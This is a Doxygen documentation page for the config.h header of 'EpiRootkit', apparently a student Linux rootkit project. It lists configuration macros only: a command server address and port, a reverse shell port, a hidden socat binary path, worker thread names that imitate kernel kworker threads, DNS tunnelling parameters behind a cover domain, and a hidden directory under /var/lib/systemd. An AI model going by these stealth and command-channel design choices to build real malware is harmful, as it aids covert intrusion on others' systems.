EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
config.h File Reference
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Macros

#define SUCCESS   0
 
#define FAILURE   1
 
#define DBG_MSG(fmt, args...)   do { } while (0)
 
#define ERR_MSG(fmt, args...)   do { } while (0)
 
#define SERVER_IP   "192.168.100.2"
 
#define SERVER_PORT   4242
 
#define SOCAT_BINARY_PATH   HIDDEN_DIR_PATH "/.sysd"
 
#define REVERSE_SHELL_PORT   9001
 
#define NETWORK_WORKER_THREAD_NAME   "kworker/u42"
 
#define MAX_MSG_SEND_OR_RECEIVE_ERROR   5
 
#define TIMEOUT_BEFORE_RETRY   1000
 
#define RCV_CMD_BUFFER_SIZE   1024
 
#define DNS_WORKER_THREAD_NAME   "kworker/u84"
 
#define DNS_POLL_INTERVAL_MS   5000
 
#define DNS_PORT   53
 
#define DNS_MAX_BUF   4096
 
#define DNS_HDR_SIZE   12
 
#define DNS_MAX_CHUNK   28
 
#define DNS_MAX_AUTHORIZED_NB_CHUNKS   128
 
#define DNS_SERVER_IP   SERVER_IP
 
#define DNS_DOMAIN   "dns.google.com"
 
#define USERLAND_CMD_TIMEOUT   5
 
#define HIDDEN_PREFIX   "stdbool_bypassed_ngl_"
 
#define HIDDEN_DIR_NAME   ".epirootkit-hidden-fs"
 
#define HIDDEN_DIR_PATH   "/var/lib/systemd/" HIDDEN_DIR_NAME
 
#define STDOUT_FILE   HIDDEN_DIR_PATH "/std.out"
 
#define STDERR_FILE   HIDDEN_DIR_PATH "/std.err"
 
#define HIDE_CFG_FILE   "hide_list.cfg"
 
#define FORBID_CFG_FILE   "forbid_list.cfg"
 
#define ALTERATE_CFG_FILE   "alterate_list.cfg"
 
#define PASSWD_CFG_FILE   "passwd.cfg"
 
#define HIDE_PORT_CFG_FILE   "hide_ports.cfg"
 
#define STD_BUFFER_SIZE   1024
 
#define VANISH   0
 
#define ULIST_LINE_MAX   256
 

Enumerations

enum  Protocol { TCP , DNS }
 

Variables

char * ip
 
int port
 
char * message
 

Macro Definition Documentation

◆ ALTERATE_CFG_FILE

#define ALTERATE_CFG_FILE   "alterate_list.cfg"

Definition at line 63 of file config.h.

◆ DBG_MSG

#define DBG_MSG (   fmt,
  args... 
)    do { } while (0)

Definition at line 15 of file config.h.

◆ DNS_DOMAIN

#define DNS_DOMAIN   "dns.google.com"

Definition at line 48 of file config.h.

◆ DNS_HDR_SIZE

#define DNS_HDR_SIZE   12

Definition at line 44 of file config.h.

◆ DNS_MAX_AUTHORIZED_NB_CHUNKS

#define DNS_MAX_AUTHORIZED_NB_CHUNKS   128

Definition at line 46 of file config.h.

◆ DNS_MAX_BUF

#define DNS_MAX_BUF   4096

Definition at line 43 of file config.h.

◆ DNS_MAX_CHUNK

#define DNS_MAX_CHUNK   28

Definition at line 45 of file config.h.

◆ DNS_POLL_INTERVAL_MS

#define DNS_POLL_INTERVAL_MS   5000

Definition at line 41 of file config.h.

◆ DNS_PORT

#define DNS_PORT   53

Definition at line 42 of file config.h.

◆ DNS_SERVER_IP

#define DNS_SERVER_IP   SERVER_IP

Definition at line 47 of file config.h.

◆ DNS_WORKER_THREAD_NAME

#define DNS_WORKER_THREAD_NAME   "kworker/u84"

Definition at line 40 of file config.h.

◆ ERR_MSG

#define ERR_MSG (   fmt,
  args... 
)    do { } while (0)

Definition at line 16 of file config.h.

◆ FAILURE

#define FAILURE   1

Definition at line 6 of file config.h.

◆ FORBID_CFG_FILE

#define FORBID_CFG_FILE   "forbid_list.cfg"

Definition at line 62 of file config.h.

◆ HIDDEN_DIR_NAME

#define HIDDEN_DIR_NAME   ".epirootkit-hidden-fs"

Definition at line 55 of file config.h.

◆ HIDDEN_DIR_PATH

#define HIDDEN_DIR_PATH   "/var/lib/systemd/" HIDDEN_DIR_NAME

Definition at line 56 of file config.h.

◆ HIDDEN_PREFIX

#define HIDDEN_PREFIX   "stdbool_bypassed_ngl_"

Definition at line 54 of file config.h.

◆ HIDE_CFG_FILE

#define HIDE_CFG_FILE   "hide_list.cfg"

Definition at line 61 of file config.h.

◆ HIDE_PORT_CFG_FILE

#define HIDE_PORT_CFG_FILE   "hide_ports.cfg"

Definition at line 65 of file config.h.

◆ MAX_MSG_SEND_OR_RECEIVE_ERROR

#define MAX_MSG_SEND_OR_RECEIVE_ERROR   5

Definition at line 35 of file config.h.

◆ NETWORK_WORKER_THREAD_NAME

#define NETWORK_WORKER_THREAD_NAME   "kworker/u42"

Definition at line 34 of file config.h.

◆ PASSWD_CFG_FILE

#define PASSWD_CFG_FILE   "passwd.cfg"

Definition at line 64 of file config.h.

◆ RCV_CMD_BUFFER_SIZE

#define RCV_CMD_BUFFER_SIZE   1024

Definition at line 37 of file config.h.

◆ REVERSE_SHELL_PORT

#define REVERSE_SHELL_PORT   9001

Definition at line 25 of file config.h.

◆ SERVER_IP

#define SERVER_IP   "192.168.100.2"

Definition at line 20 of file config.h.

◆ SERVER_PORT

#define SERVER_PORT   4242

Definition at line 21 of file config.h.

◆ SOCAT_BINARY_PATH

#define SOCAT_BINARY_PATH   HIDDEN_DIR_PATH "/.sysd"

Definition at line 24 of file config.h.

◆ STD_BUFFER_SIZE

#define STD_BUFFER_SIZE   1024

Definition at line 68 of file config.h.

◆ STDERR_FILE

#define STDERR_FILE   HIDDEN_DIR_PATH "/std.err"

Definition at line 58 of file config.h.

◆ STDOUT_FILE

#define STDOUT_FILE   HIDDEN_DIR_PATH "/std.out"

Definition at line 57 of file config.h.

◆ SUCCESS

#define SUCCESS   0

Definition at line 5 of file config.h.

◆ TIMEOUT_BEFORE_RETRY

#define TIMEOUT_BEFORE_RETRY   1000

Definition at line 36 of file config.h.

◆ ULIST_LINE_MAX

#define ULIST_LINE_MAX   256

Definition at line 70 of file config.h.

◆ USERLAND_CMD_TIMEOUT

#define USERLAND_CMD_TIMEOUT   5

Definition at line 51 of file config.h.

◆ VANISH

#define VANISH   0

Definition at line 69 of file config.h.

Enumeration Type Documentation

◆ Protocol

enum Protocol
Enumerator
TCP 
DNS 

Definition at line 28 of file config.h.

28 {
29 TCP,
30 DNS,
31};
@ TCP
Definition config.h:29
@ DNS
Definition config.h:30

Variable Documentation

◆ ip

char* ip
extern

Definition at line 6 of file main.c.

◆ message

char* message
extern

◆ port

int port
extern

Definition at line 7 of file main.c.